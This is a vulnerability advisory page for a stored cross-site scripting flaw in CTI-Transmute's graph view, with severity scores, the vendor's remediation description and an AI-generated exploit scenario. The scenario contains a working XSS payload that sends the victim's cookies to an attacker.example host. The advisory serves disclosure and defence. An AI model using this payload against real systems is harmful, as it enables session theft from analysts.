Skip to main content

CTI-Transmute CVE-2026-72751

| EUVDEUVD-2026-55633 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-10 CIRCL GHSA-p8v9-h3m5-mvj9
5.1
CVSS 4.0 · Vendor: CIRCL
Share

Severity by source

Vendor (CIRCL) PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.1 MEDIUM

Network-delivered stored XSS; attacker needs no privileges; victim interaction required to trigger rendering; scope changes to victim browser session with limited data and action impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (CIRCL).

CVSS VectorVendor: CIRCL

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
A
Scope
X

Lifecycle Timeline

2
Source Code Evidence Fetched
Aug 10, 2026 - 14:32 vuln.today
Analysis Generated
Aug 10, 2026 - 14:32 vuln.today

DescriptionCVE.org

CTI-Transmute is affected by a stored cross-site scripting (XSS) vulnerability in the conversion graph used to visualise converted MISP and STIX content.

Attacker-controlled values originating from converted CTI data were passed to multiple HTML-parsing sinks in the graph user interface without sufficient neutralisation. In particular, node labels, node sublabels, edge labels, node properties, edge properties, and node types could contain crafted HTML or JavaScript content.

The Pivotick graph library renders some of these values through HTML-parsing operations. Consequently, a malicious value such as an HTML element containing an event handler could be interpreted as markup rather than displayed as plain text. The first remediation explicitly notes that Pivotick rendered node and edge labels as HTML and therefore introduced escaping before data was handed to the graph renderer.

A separate vulnerable sink was present in the Open raw JSON functionality. The raw object associated with a graph node was inserted into a new document using document.write() and an interpolated HTML string. Crafted JSON content could therefore break out of the intended <pre> element and inject executable markup. The fix replaced this construction with DOM APIs and assigns the JSON using textContent.

The initial correction did not cover all Pivotick rendering paths. A subsequent patch addressed additional XSS vectors in the graph properties panel. Values derived from the original CTI object-including property names, property values, hash algorithm names, child attributes, edge properties, and STIX object types-could still reach Pivotick's HTML resolver. According to the patch, Pivotick's tryResolveHTMLElement processes string values using template.innerHTML, allowing malicious markup to execute when a graph node is hovered over or selected.

The complete remediation therefore:

  • HTML-escapes node labels, node sublabels, and edge labels before they are passed to Pivotick.
  • Restricts graph node type values to a safe identifier character set.
  • Wraps node and edge property values in DOM elements populated through textContent, preventing Pivotick from treating attacker-controlled strings as HTML.
  • Replaces the raw-JSON popup's interpolated document.write() with DOM construction and textContent.

AnalysisAI

Stored cross-site scripting in CTI-Transmute's conversion graph allows attacker-controlled CTI content (MISP or STIX objects) to execute arbitrary JavaScript in any analyst's browser who views the graph. The Pivotick graph library rendered node labels, sublabels, edge labels, node types, property names, property values, and hash algorithm identifiers through HTML-parsing operations (innerHTML, template.innerHTML) without sanitization, and a separate sink used an interpolated document.write() for the raw-JSON popup. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Craft malicious CTI payload with XSS in node label
Delivery
Publish or share payload via CTI feed or import
Exploit
Victim analyst converts data in CTI-Transmute
Install
Analyst opens conversion graph
C2
Hover or select poisoned node triggers Pivotick innerHTML
Execute
JavaScript executes in analyst's browser session
Impact
Exfiltrate session credentials or perform in-browser actions

Vulnerability AssessmentAI

Exploitation Exploitation requires two conditions to both be met: (1) the attacker must control or influence CTI data that is converted and rendered by CTI-Transmute - this includes MISP events, STIX bundles, or any other CTI format the tool processes, whether sourced from an external feed, a shared repository, or user-supplied import; and (2) a victim user must open the conversion graph UI and interact with the graph in a way that triggers Pivotick's HTML-resolving paths, specifically hovering over or selecting a node containing the malicious value. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N) places this at 5.1 (Medium). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with the ability to influence CTI data ingested by a target organization - for example, by publishing a malicious STIX bundle to a shared threat intelligence feed - embeds a crafted node label such as </span><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> in a STIX object. When a CTI analyst imports and converts the feed in CTI-Transmute and views the resulting graph (hovering over or selecting the malicious node), Pivotick passes the unescaped label to template.innerHTML, the onerror handler fires, and the analyst's session cookie is exfiltrated to the attacker's server. …
Remediation Two sequential patch commits are available upstream and confirmed by source-code diff evidence. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-69078 HIGH
8.8 Aug 03

Server-side request forgery in CTI-Transmute's evaluation report PDF-generation pipeline allows an attacker who can inje

CVE-2026-69082 HIGH
8.8 Aug 03

Cross-site request forgery in CTI-Transmute's administrative user deletion endpoint enables unauthenticated remote attac

CVE-2026-69079 HIGH
8.7 Aug 03

Uncontrolled resource consumption in CTI-Transmute's unauthenticated /activity_timeline endpoint allows remote attackers

CVE-2026-72759 MEDIUM
6.9 Aug 10

Unauthorized disclosure of deleted-conversion history data in MISP cti-transmute (≤ 1.4.0) stems from a logic inversion

CVE-2026-9806 MEDIUM
6.3 May 28

Stored XSS in MISP CTI Transmute's notification bell dropdown allows an attacker who can control convert names to inject

CVE-2026-73155 MEDIUM
5.3 Aug 11

Missing authorization in MISP cti-transmute (versions ≤ 1.4.0) allows any authenticated user to add or remove emoji reac

CVE-2026-73140 MEDIUM
5.3 Aug 11

Private evaluation comment disclosure in MISP's cti-transmute (all versions ≤ 1.4.0) allows any authenticated user with

CVE-2026-73162 MEDIUM
5.3 Aug 11

Cross-site request forgery in MISP cti-transmute exposes four authenticated account endpoints - /account/follow, /accoun

CVE-2026-72760 MEDIUM
5.3 Aug 10

Email address disclosure in MISP cti-transmute versions up to and including 1.4.0 exposes private user email addresses t

CVE-2026-71502 MEDIUM
5.1 Aug 06

Stored Vue template injection in CTI-Transmute ≤ 1.5.0 allows an unauthenticated attacker to execute arbitrary JavaScrip

CVE-2026-73158 MEDIUM
5.1 Aug 11

Stored cross-site scripting in MISP cti-transmute allows authenticated users to inject arbitrary script into shared grap

CVE-2026-73157 LOW
2.3 Aug 11

Cross-site scripting in cti-transmute's MISP event-browser allows a malicious or compromised remote MISP instance to inj

Share

CVE-2026-72751 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy